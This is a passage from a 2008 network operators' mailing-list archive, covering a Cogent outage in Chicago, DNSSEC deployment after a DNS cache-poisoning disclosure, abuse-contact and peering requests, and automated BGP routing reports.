attachments. The Group does not warrant the integrity of this e-mail, > nor that it is free of errors, viruses, interception or interference. > For more information about Africa Online, please visit our website at > _http://www.africaonline.com _ > > > > From ops.lists at gmail.com Thu Jul 10 11:16:59 2008 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Thu, 10 Jul 2008 21:46:59 +0530 Subject: Linkedin Contacts In-Reply-To: References: <4875C41A.8000008@africaonline.co.ke> Message-ID: On Thu, Jul 10, 2008 at 9:17 PM, mark seiden-via mac wrote: > it probably has something to do with the large proportion of fraudsters > using linked in and every personals site in the world for 419 and > other confidence schemes, don't you think? > > of course, this only forces the fraudsters to use proxies, aol and satellite > providers which are more difficult to geolocate. Well, half of west african connectivity IS satellite so you're going to see a lot of Gilat, etc satellite carriers' IP space as the source for 419 activity Especially when it comes to a paid service like a lot of linkedin is, if firewalling off a particular section of IP space means far less chargebacks, well, it may not look good but it sure has a great impact on your bottom line. --srs From brandon.galbraith at gmail.com Thu Jul 10 11:31:09 2008 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Thu, 10 Jul 2008 11:31:09 -0500 Subject: Cogent problems in Chicago area? Message-ID: <366100670807100931n72b0ab9csd31b9bea29d0ec0@mail.gmail.com> Is anyone seeing Cogent issues in the Chicago area? We have several racks with them, and our connectivity just dropped off. -brandon From brandon.galbraith at gmail.com Thu Jul 10 11:38:56 2008 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Thu, 10 Jul 2008 11:38:56 -0500 Subject: Cogent problems in Chicago area? (updated with info) Message-ID: <366100670807100938q7d05d8ak35268049f15b703@mail.gmail.com> Cogent is indeed having a problem in the Chicago area. No ETR. Master ticket # 759401. -brandon From christian at broknrobot.com Thu Jul 10 11:39:41 2008 From: christian at broknrobot.com (Christian Koch) Date: Thu, 10 Jul 2008 12:39:41 -0400 Subject: Cogent problems in Chicago area? In-Reply-To: <366100670807100931n72b0ab9csd31b9bea29d0ec0@mail.gmail.com> References: <366100670807100931n72b0ab9csd31b9bea29d0ec0@mail.gmail.com> Message-ID: ...what did big 'ol 174 say? On Thu, Jul 10, 2008 at 12:31 PM, Brandon Galbraith < brandon.galbraith at gmail.com> wrote: > Is anyone seeing Cogent issues in the Chicago area? We have several racks > with them, and our connectivity just dropped off. > > -brandon > -- ^christian$ From dhyde at hostmysite.com Thu Jul 10 11:43:53 2008 From: dhyde at hostmysite.com (Darrell Hyde) Date: Thu, 10 Jul 2008 12:43:53 -0400 Subject: Cogent problems in Chicago area? In-Reply-To: References: <366100670807100931n72b0ab9csd31b9bea29d0ec0@mail.gmail.com> Message-ID: <1215708233.20950.83.camel@kenobi.hostmysite.net> > ...what did big 'ol 174 say? Cogent Network Status/DNS Server Status Description: Welcome to Cogent Communications? Network Status Message. Today is 7/10/08 @ 12:30 ET. At this time, some customers in the Chicago region may be experiencing loss of connectivity in the 427 S LaSalle Data Center. The NOC and IP Engineering teams are working to isolate the issue and resolve as soon as possible. There is no Estimated Time to Repair at this time. Our ticket number for this issue is HD0000000759398. Next expected update in 20 minutes. From brandon.galbraith at gmail.com Thu Jul 10 11:49:03 2008 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Thu, 10 Jul 2008 11:49:03 -0500 Subject: Cogent problems in Chicago area? In-Reply-To: <1215708233.20950.83.camel@kenobi.hostmysite.net> References: <366100670807100931n72b0ab9csd31b9bea29d0ec0@mail.gmail.com> <1215708233.20950.83.camel@kenobi.hostmysite.net> Message-ID: <366100670807100949x795478f7n99d597731ed3e2cd@mail.gmail.com> On 7/10/08, Darrell Hyde wrote: > > > ...what did big 'ol 174 say? > > > Cogent Network Status/DNS Server Status Description: > Welcome to Cogent Communications' Network Status Message. Today is > 7/10/08 @ 12:30 ET. At this time, some customers in the Chicago region > may be experiencing loss of connectivity in the 427 S LaSalle Data > Center. The NOC and IP Engineering teams are working to isolate the > issue and resolve as soon as possible. There is no Estimated Time to > Repair at this time. Our ticket number for this issue is > HD0000000759398. Next expected update in 20 minutes. > I can reach the equipment at that location again. Seems to be back up and running. -brandon From drc at virtualized.org Thu Jul 10 12:24:32 2008 From: drc at virtualized.org (David Conrad) Date: Thu, 10 Jul 2008 10:24:32 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> Message-ID: Already gotten a hint that something along these lines would be desirable for LAX. I can propose something to the PC -- which would be more useful for folks, a more general DNSSEC signing workshop or a focused presentation on IANA's stuff? Regards, -drc On Jul 9, 2008, at 7:55 PM, Christopher Morrow wrote: > On Wed, Jul 9, 2008 at 7:28 PM, David Conrad > wrote: >> On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: >>> >>> aside from just getting some cctlds signed, i will be interested >>> in the >>> tools, usability, work flow, ... i.e. what is it like for a poor >>> innocent cctld which wants to sign their zone? >> >> If there is sufficient interest, we could do a bar bof to describe >> some of >> the tools IANA has... >> > > I think Sandy Murphy or other Sparta folks have presented some of the > work they've done on this... Perhaps finding one/some of them and > having a more operations focused presentation in LAX or ... is a good > idea as well? > > -Chris > From drc at virtualized.org Thu Jul 10 12:25:56 2008 From: drc at virtualized.org (David Conrad) Date: Thu, 10 Jul 2008 10:25:56 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> <2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> Message-ID: On Jul 9, 2008, at 8:27 PM, Martin Hannigan wrote: >>> If there is sufficient interest, we could do a bar bof to describe >>> some of >>> the tools IANA has... >> I think Sandy Murphy or other Sparta folks have presented some of the >> work they've done on this... Perhaps finding one/some of them and >> having a more operations focused presentation in LAX or ... is a good >> idea as well? > I'd rather see the IANA do it. I wouldn't say that they are 100% > neutral, but they're more neutral than SPARTA. Not taking the bait on neutrality (:-)), but I don't see this as either/or... Regards, -drc From drc at virtualized.org Thu Jul 10 12:27:39 2008 From: drc at virtualized.org (David Conrad) Date: Thu, 10 Jul 2008 10:27:39 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <47E72DBA-2673-47D6-A16E-72F48099153B@isc.org> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <47E72DBA-2673-47D6-A16E-72F48099153B@isc.org> Message-ID: <707715F4-7DA2-4149-9514-91F82F098B65@virtualized.org> On Jul 10, 2008, at 2:59 AM, Joao Damas wrote: > PS: I would also want a copy of, or a secure method to access, the > public part of the keys you use to sign those ccTLDs so I can place > them in ISC's DLV registry IANA's 'interim trust anchor repository' will be publicly accessible (of course). Regards, -drc From bill at hotunix.com Thu Jul 10 12:25:38 2008 From: bill at hotunix.com (Bill) Date: Thu, 10 Jul 2008 13:25:38 -0400 (EDT) Subject: verizon.net abuse/support contacts? In-Reply-To: <20080710121244.Y55066@odyssey.hotunix.com> References: <4875C41A.8000008@africaonline.co.ke> <20080710121244.Y55066@odyssey.hotunix.com> Message-ID: <20080710132431.X69788@odyssey.hotunix.com> I need to report something about an IP belonging to them: pool-xxxxxxxx.ny325.east.verizon.net I've looked at their website and the whois record...and sent email to abuse at verizon.net, abuse at GNILINK.NET, abuse at verizon.com Are these the right addresses? If someone works for verizon.net please let me know here or offline. Thanks a bunch! Bill From bicknell at ufp.org Thu Jul 10 12:51:48 2008 From: bicknell at ufp.org (Leo Bicknell) Date: Thu, 10 Jul 2008 13:51:48 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: Message-ID: <20080710175148.GA18593@ussenterprise.ufp.org> In a message written on Wed, Jul 09, 2008 at 12:30:08PM -0700, David Conrad wrote: > for root signing. The fact that root zone data you receive from the > root servers is not signed may suggest that there is a bit more that > needs to be done and pretty much all of that is NOT something ICANN > has direct control over. So David, who has control, and what do they need to do? Every time I've asked someone in the chain about what it takes to sign the root, their part is done, it's others who aren't doing their bits. Perhaps I'm too much of an engineer. Today there is a process for IANA (ICANN?) to say "update the IP for a.root-servers.net from x to y" and it makes it to someone who can run vi on the master file, and they insert a new entry, and boom the root has it. It seems to me if IANA (ICANN?) generates sigs, hands those same records to the same person with vi access to the file and they add them then boom, the root would have it. Signature records are no different than any other type of record in the root, and other records have been updated in the past. Since you already have the sigs on the web page why can't they be sent to the guy with vi access the same as any other record change? Please, let us know so people can go fix it. -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From hannigan at verneglobal.com Thu Jul 10 12:53:14 2008 From: hannigan at verneglobal.com (Martin Hannigan) Date: Thu, 10 Jul 2008 17:53:14 -0000 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu><75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com><4875332D.2000506@psg.com><84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org><48754701.9000409@psg.com><75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com><2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> Message-ID: > -----Original Message----- > From: David Conrad [mailto:drc at virtualized.org] > Sent: Thursday, July 10, 2008 1:26 PM > To: Martin Hannigan > Cc: nanog at merit.edu > Subject: Re: Multiple DNS implementations vulnerable to cache poisoning > > > On Jul 9, 2008, at 8:27 PM, Martin Hannigan wrote: > >>> If there is sufficient interest, we could do a bar bof to describe > >>> some of > >>> the tools IANA has... > >> I think Sandy Murphy or other Sparta folks have presented some of > the > >> work they've done on this... Perhaps finding one/some of them and > >> having a more operations focused presentation in LAX or ... is a > good > >> idea as well? > > I'd rather see the IANA do it. I wouldn't say that they are 100% > > neutral, but they're more neutral than SPARTA. > > > Not taking the bait on neutrality (:-)), but I don't see this as > either/or... > > Regards, > -drc > Not bait, but agreed. I was trying to indicate that I thought it would be interesting for the IANA to present something since it is an effort under the ICANN umbrella, regardless of it being bottom up or top down. Bad choice of words. Mea culpa. Best, Marty -- Martin Hannigan http://www.verneglobal.com/ Verne Global Datacenters e: hannigan at verneglobal.com Keflavik, Iceland p: +16178216079 From jra at baylink.com Thu Jul 10 13:03:11 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 10 Jul 2008 14:03:11 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> Message-ID: <20080710180311.GL7665@cgi.jachomes.com> Another test, that apparently was publicized on some dnsops list: dig +short porttest.dns-oarc.net TXT Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From michael at rancid.berkeley.edu Thu Jul 10 13:12:56 2008 From: michael at rancid.berkeley.edu (Michael Sinatra) Date: Thu, 10 Jul 2008 11:12:56 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080710180311.GL7665@cgi.jachomes.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> <20080710180311.GL7665@cgi.jachomes.com> Message-ID: <48765128.4020309@rancid.berkeley.edu> On 07/10/08 11:03, Jay R. Ashworth wrote: > Another test, that apparently was publicized on some dnsops list: > > dig +short porttest.dns-oarc.net TXT The "some dnsops list" is the OARC public dns-operations list, and this posting explains the tool and briefly describes the results: http://lists.oarci.net/pipermail/dns-operations/2008-July/002932.html There's a healthy discussion of this vuln and DNSSEC going on over there, and that list is an appropriate forum for further discussion of this topic. michael From nrauhauser at gmail.com Thu Jul 10 13:47:06 2008 From: nrauhauser at gmail.com (neal rauhauser) Date: Thu, 10 Jul 2008 13:47:06 -0500 Subject: on Qwest transport, need service in Denver area Message-ID: <9515c62d0807101147n1cf760ccx998495db03e3d27c@mail.gmail.com> I'm doing some work for a rural phone company and Denver is the nearest metro area for them. The only transport in their area is Qwest and a response from someone with knowledge of how to coax a mileage free ethernet transport link out of them would be quite welcome. Drop me a note here if you either provide service in the area or if you're a customer of someone who does ... -- mailto:Neal at layer3arts.com // GoogleTalk: nrauhauser at gmail.com IM: nealrauhauser From Carl.Andrews at crackerbarrel.com Thu Jul 10 14:02:42 2008 From: Carl.Andrews at crackerbarrel.com (Andrews Carl 455) Date: Thu, 10 Jul 2008 14:02:42 -0500 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48765128.4020309@rancid.berkeley.edu> Message-ID: https://www.dns-oarc.net -----Original Message----- From: Michael Sinatra [mailto:michael at rancid.berkeley.edu] Sent: Thursday, July 10, 2008 1:13 PM To: Jay R. Ashworth Cc: nanog at nanog.org Subject: Re: Multiple DNS implementations vulnerable to cache poisoning On 07/10/08 11:03, Jay R. Ashworth wrote: > Another test, that apparently was publicized on some dnsops list: > > dig +short porttest.dns-oarc.net TXT The "some dnsops list" is the OARC public dns-operations list, and this posting explains the tool and briefly describes the results: http://lists.oarci.net/pipermail/dns-operations/2008-July/002932.html There's a healthy discussion of this vuln and DNSSEC going on over there, and that list is an appropriate forum for further discussion of this topic. michael From mundy at tislabs.com Thu Jul 10 16:34:34 2008 From: mundy at tislabs.com (Russ Mundy) Date: Thu, 10 Jul 2008 17:34:34 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning Message-ID: At 11:08 AM -0400 7/10/08, Christopher Morrow wrote: >On Thu, Jul 10, 2008 at 10:22 AM, Wes Hardaker wrote: >>>>>>> On Wed, 9 Jul 2008 22:55:05 -0400, "Christopher Morrow" >>>>>>> said: >> >>>>> aside from just getting some cctlds signed, i will be interested in the >>>>> tools, usability, work flow, ... i.e. what is it like for a poor >>>>> innocent cctld which wants to sign their zone? >>>> >>>> If there is sufficient interest, we could do a bar bof to describe some of >>>> the tools IANA has... >>>> >> >> CM> I think Sandy Murphy or other Sparta folks have presented some of the >> CM> work they've done on this... Perhaps finding one/some of them and >> CM> having a more operations focused presentation in LAX or ... is a good >> CM> idea as well? >> >> The tools that Sparta developed (and made freely available via an open >> source packaged that is BSD licensed) can be found at >> http://www.dnssec-tools.org/ . In particular, signing a zone is > >yup, and that's helpful stuff. > Great, we're trying to provide tools that will help with the deployment and operation of DNSSEC. We also try to keep a listing of all the 'pieces' that we know about that could be helpful to folks who want to deploy and use DNSSEC in various ways whether they are operating a signed zone, running a validating resolver or wanting DNSSEC-aware applications. The url for the listing is: http://www.dnssec-deployment.org/tracker We provide the listing as community resource and try to keep it reasonably current. But we are always on the lookout for additional information (& corrections) to the list - if you have any, please let me know. ------------->snip<-------------- >> >> All for free. Don't you hate those ??biased??, freely-available, >> source-code-supplied-so-you-can-change-it, BSD-licensed open source >> packages? >> -- > >I like free... as long as it's the hammer I need for the nails I have. > >-Chris We don't try to keep track of things in the listing by whether they or free or not but I know a lot of them have typical open source type of licenses. Russ From mundy at tislabs.com Thu Jul 10 16:51:12 2008 From: mundy at tislabs.com (Russ Mundy) Date: Thu, 10 Jul 2008 17:51:12 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> Message-ID: At 10:24 AM -0700 7/10/08, David Conrad wrote: >Already gotten a hint that something along these lines would be >desirable for LAX. I can propose something to the PC -- which would >be more useful for folks, a more general DNSSEC signing workshop or a >focused presentation on IANA's stuff? > >Regards, >-drc Folks might find the DNSSEC session at the recent ICANN meeting interesting since it focused on DNSSEC in the field and DNSSEC tools. Descriptions of the presentations as well as the slides are available at: http://par.icann.org/en/node/77 I imagine that folks might want something different at LAX but I's be happy to work with drc to put together a DNSSEC session of some sort if there was interest. Russ > >On Jul 9, 2008, at 7:55 PM, Christopher Morrow wrote: > >> On Wed, Jul 9, 2008 at 7:28 PM, David Conrad >> wrote: >>> On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: >>>> >>>> aside from just getting some cctlds signed, i will be interested >>>> in the >>>> tools, usability, work flow, ... i.e. what is it like for a poor >>>> innocent cctld which wants to sign their zone? >>> >>> If there is sufficient interest, we could do a bar bof to describe >>> some of >>> the tools IANA has... >>> >> >> I think Sandy Murphy or other Sparta folks have presented some of the >> work they've done on this... Perhaps finding one/some of them and >> having a more operations focused presentation in LAX or ... is a good >> idea as well? >> >> -Chris >> From frank at troy-networks.com Thu Jul 10 17:02:41 2008 From: frank at troy-networks.com (Frank P. Troy) Date: Thu, 10 Jul 2008 18:02:41 -0400 Subject: Independent Testing for Network Hardware In-Reply-To: References: Message-ID: <003701c8e2d8$ae243180$0a6c9480$@com> I can recommend Isocore http://www.isocore.com/ (the same folks that run the MPLS conference). Talk to Rajiv Papneja [rpapneja at isocore.com]. Regards, Frank ------------------------------------ Frank P. Troy 703-396-8700 frank at troy-networks.com ------------------------------------- -----Original Message----- From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] Sent: Thursday, July 10, 2008 11:16 AM To: nanog at merit.edu Subject: Independent Testing for Network Hardware Can anyone recommend a reliable independent testing company that tests network hardware performance? We are considering buying testing hardware (right now we are looking at Spirent TestCenter) and I wanted to see if there were other options... Brian Knoll From trelane at trelane.net Thu Jul 10 22:17:52 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Thu, 10 Jul 2008 23:17:52 -0400 Subject: Comcast routing issue Message-ID: <4876D0E0.2090701@trelane.net> Would a Comcast routing engineer contact me off list regarding a routing issue in Chicago? Andrew From trelane at trelane.net Thu Jul 10 23:05:41 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Fri, 11 Jul 2008 00:05:41 -0400 Subject: Thanks Message-ID: <4876DC15.6040108@trelane.net> I got a reply from several network engineers at Comcast, and they're now working on a resolution. Thanks for the fast work guys! Andrew From j at arpa.com Thu Jul 10 23:28:09 2008 From: j at arpa.com (jamie) Date: Thu, 10 Jul 2008 23:28:09 -0500 Subject: [ot] Re: Thanks In-Reply-To: <4876DC15.6040108@trelane.net> References: <4876DC15.6040108@trelane.net> Message-ID: <6ff30abd0807102128lf819599nac018127b067ce44@mail.gmail.com> Nice .. Wish I'd gotten the same response when I'd nog-paged looking for an AIM"(R)" [|net|ptn.aol] engineer. (..which i'm still looking for, cough). On Thu, Jul 10, 2008 at 11:05 PM, Andrew D Kirch wrote: > I got a reply from several network engineers at Comcast, and they're now > working on a resolution. Thanks for the fast work guys! > > Andrew > > -- Would you like a little bit of legal advice? NEVER let a scientist use the words "unanticipated" and "immediate" in the same sentence. Okay? Okay. From cidr-report at potaroo.net Fri Jul 11 07:00:05 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 11 Jul 2008 22:00:05 +1000 (EST) Subject: BGP Update Report Message-ID: <200807111200.m6BC05QW040962@wattle.apnic.net> BGP Update Report Interval: 09-Jun-08 -to- 10-Jul-08 (32 days) Observation Point: BGP Peering with AS2.0 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS4538 224108 2.9% 45.0 -- ERX-CERNET-BKB China Education and Research Network Center 2 - AS9583 102498 1.3% 84.2 -- SIFY-AS-IN Sify Limited 3 - AS8866 80995 1.1% 253.1 -- BTC-AS Bulgarian Telecommunication Company Plc. 4 - AS4766 74589 1.0% 56.7 -- KIXS-AS-KR Korea Telecom 5 - AS5691 72431 0.9% 5571.6 -- MITRE-AS-5 - The MITRE Corporation 6 - AS17974 58035 0.8% 79.3 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 7 - AS17488 46123 0.6% 36.0 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 8 - AS13620 40129 0.5% 8025.8 -- ASN-ELAN - Elan Communications, Inc. 9 - AS12455 37752 0.5% 618.9 -- JAMBONET 10 - AS25994 37171 0.5% 261.8 -- NPG-001 - NPG Cable, INC 11 - AS18231 36125 0.5% 149.3 -- EXATT-AS-AP IOL NETCOM LTD 12 - AS9498 33025 0.4% 26.7 -- BBIL-AP BHARTI BT INTERNET LTD. 13 - AS8151 32976 0.4% 23.6 -- Uninet S.A. de C.V. 14 - AS577 31578 0.4% 71.8 -- BACOM - Bell Canada 15 - AS5803 30106 0.4% 160.1 -- DDN-ASNBLK - DoD Network Information Center 16 - AS6471 29612 0.4% 71.0 -- ENTEL CHILE S.A. 17 - AS306 29516 0.4% 162.2 -- DNIC - DoD Network Information Center 18 - AS21565 29108 0.4% 158.2 -- HTCC - HTC Communications, LLC 19 - AS702 28539 0.4% 51.9 -- AS702 Verizon Business EMEA - Commercial IP service provider in Europe 20 - AS209 28462 0.4% 9.2 -- ASN-QWEST - Qwest TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS13620 40129 0.5% 8025.8 -- ASN-ELAN - Elan Communications, Inc. 2 - AS29910 5937 0.1% 5937.0 -- IACP - INTL. ASSN OF CHIEF OF POLICEI 3 - AS5691 72431 0.9% 5571.6 -- MITRE-AS-5 - The MITRE Corporation 4 - AS42787 15835 0.2% 5278.3 -- MMIP-AS MultiMedia IP Ltd. 5 - AS44656 4197 0.1% 4197.0 -- HOLOSFIND-ROMANIA HOLOSFIND SRL 6 - AS38513 4128 0.1% 4128.0 -- LINTASARTA-AS-ID PT Aplikanusa Lintasarta 7 - AS23082 18732 0.2% 3746.4 -- MPHI - Michigan Public Health Institute 8 - AS40831 7375 0.1% 3687.5 -- ROBERTSDYBDAHL - Roberts & Dybdahl Inc. 9 - AS40256 13045 0.2% 3261.2 -- ACS-HCMS-ASN - Affiliated Computer Services, Inc. 10 - AS28646 2920 0.0% 2920.0 -- Confederacao Interestadual das Cooperativas Ligadas ao Sicredi 11 - AS27786 2873 0.0% 2873.0 -- SSA SISTEMAS S.A. 12 - AS30850 5226 0.1% 2613.0 -- DESMIE-AS Hellenic Trasmission System Operator S.A. 13 - AS32133 2383 0.0% 2383.0 -- JOHNSTONE-SUPPLY - Atwater Supply dba Johnstone Supply 14 - AS25250 6891 0.1% 2297.0 -- GAMTEL-AS 15 - AS27245 4347 0.1% 2173.5 -- HEIDRICK-CHICAGO - HEIDRICK 16 - AS30929 1937 0.0% 1937.0 -- HUTCB Hidrotechnical Faculty - Technical University 17 - AS38069 17128 0.2% 1903.1 -- WARIDTEL-BD-AS-AP Warid Telecom 18 - AS39105 1829 0.0% 1829.0 -- CLASS-AS SC Class Computers And Service SRL 19 - AS30560 17123 0.2% 1712.3 -- GE-MS001 - General Electric Company 20 - AS38180 1606 0.0% 1606.0 -- ETPI-IDS-JOLLIBEE-AS-AP 6/Fth floor JOLLIBEE PLAZA, Emerald Ave. Ortigas Center Pasig City. TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 192.12.120.0/24 72317 0.9% AS5691 -- MITRE-AS-5 - The MITRE Corporation 2 - 83.228.71.0/24 42747 0.5% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. AS8953 -- ASN-ORANGE-ROMANIA Orange Romania Autonomous System Number 3 - 221.134.222.0/24 33051 0.4% AS9583 -- SIFY-AS-IN Sify Limited 4 - 24.121.123.0/24 32800 0.4% AS25994 -- NPG-001 - NPG Cable, INC 5 - 213.91.175.0/24 31192 0.4% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. 6 - 221.128.192.0/18 25170 0.3% AS18231 -- EXATT-AS-AP IOL NETCOM LTD 7 - 210.214.128.0/23 19069 0.2% AS9583 -- SIFY-AS-IN Sify Limited 8 - 193.33.184.0/23 15761 0.2% AS42787 -- MMIP-AS MultiMedia IP Ltd. 9 - 203.63.26.0/24 11304 0.1% AS9747 -- EZINTERNET-AS-AP EZInternet Pty Ltd 10 - 81.21.104.0/24 9755 0.1% AS31065 -- MCIT 11 - 210.214.144.0/24 9508 0.1% AS9583 -- SIFY-AS-IN Sify Limited 12 - 216.255.56.0/21 8825 0.1% AS7106 -- OHIOBRIGHTNET - Com Net, Inc. 13 - 64.68.1.0/24 8060 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 14 - 64.68.0.0/24 8057 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 15 - 64.68.9.0/24 8053 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 16 - 64.68.3.0/24 8028 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 17 - 216.151.192.0/19 7931 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 18 - 192.166.49.0/24 7910 0.1% AS3320 -- DTAG Deutsche Telekom AG 19 - 210.214.26.0/24 6994 0.1% AS9583 -- SIFY-AS-IN Sify Limited 20 - 203.101.87.0/24 6427 0.1% AS9498 -- BBIL-AP BHARTI BT INTERNET LTD. Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Jul 11 07:00:03 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 11 Jul 2008 22:00:03 +1000 (EST) Subject: The Cidr Report Message-ID: <200807111200.m6BC03uB040952@wattle.apnic.net> This report has been generated at Fri Jul 11 21:15:59 2008 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 04-07-08 272952 168829 05-07-08 273321 169281 06-07-08 273642 169589 07-07-08 273743 169736 08-07-08 273780 170260 09-07-08 274104 170349 10-07-08 273998 170800 11-07-08 274275 170515 AS Summary 28800 Number of ASes in routing system 12189 Number of ASes announcing only one prefix 4978 Largest number of prefixes announced by an AS AS4538 : ERX-CERNET-BKB China Education and Research Network Center 88347392 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 11Jul08 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 274031 170510 103521 37.8% All ASes AS4538 4978 880 4098 82.3% ERX-CERNET-BKB China Education and Research Network Center AS209 3024 664 2360 78.0% ASN-QWEST - Qwest AS6389 2666 327 2339 87.7% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4755 1680 222 1458 86.8% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS18566 1045 40 1005 96.2% COVAD - Covad Communications Co. AS4323 1469 565 904 61.5% TWTC - tw telecom holdings, inc. AS22773 969 73 896 92.5% CCINET-2 - Cox Communications Inc. AS17488 1208 348 860 71.2% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1368 522 846 61.8% Uninet S.A. de C.V. AS19262 922 191 731 79.3% VZGNI-TRANSIT - Verizon Internet Services Inc. AS11492 1212 486 726 59.9% CABLEONE - CABLE ONE AS1785 1084 416 668 61.6% AS-PAETEC-NET - PaeTec Communications, Inc. AS9498 1081 473 608 56.2% BBIL-AP BHARTI BT INTERNET LTD. AS2386 1488 894 594 39.9% INS-AS - AT&T Data Communications Services AS18101 692 134 558 80.6% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS6478 990 462 528 53.3% ATT-INTERNET3 - AT&T WorldNet Services AS4766 877 386 491 56.0% KIXS-AS-KR Korea Telecom AS855 591 134 457 77.3% CANET-ASN-4 - Bell Aliant AS6298 1304 857 447 34.3% COX-PHX - Cox Communications Inc. AS17676 523 83 440 84.1% GIGAINFRA BB TECHNOLOGY Corp. AS22047 565 128 437 77.3% VTR BANDA ANCHA S.A. AS7018 1420 994 426 30.0% ATT-INTERNET4 - AT&T WorldNet Services AS9443 501 89 412 82.2% INTERNETPRIMUS-AS-AP Primus Telecommunications AS4668 682 274 408 59.8% LGNET-AS-KR LG CNS AS6197 955 552 403 42.2% BATI-ATL - BellSouth Network Solutions, Inc AS4780 709 315 394 55.6% SEEDNET Digital United Inc. AS4808 529 151 378 71.5% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS3602 457 82 375 82.1% AS3602-RTI - Rogers Telecom Inc. AS4804 454 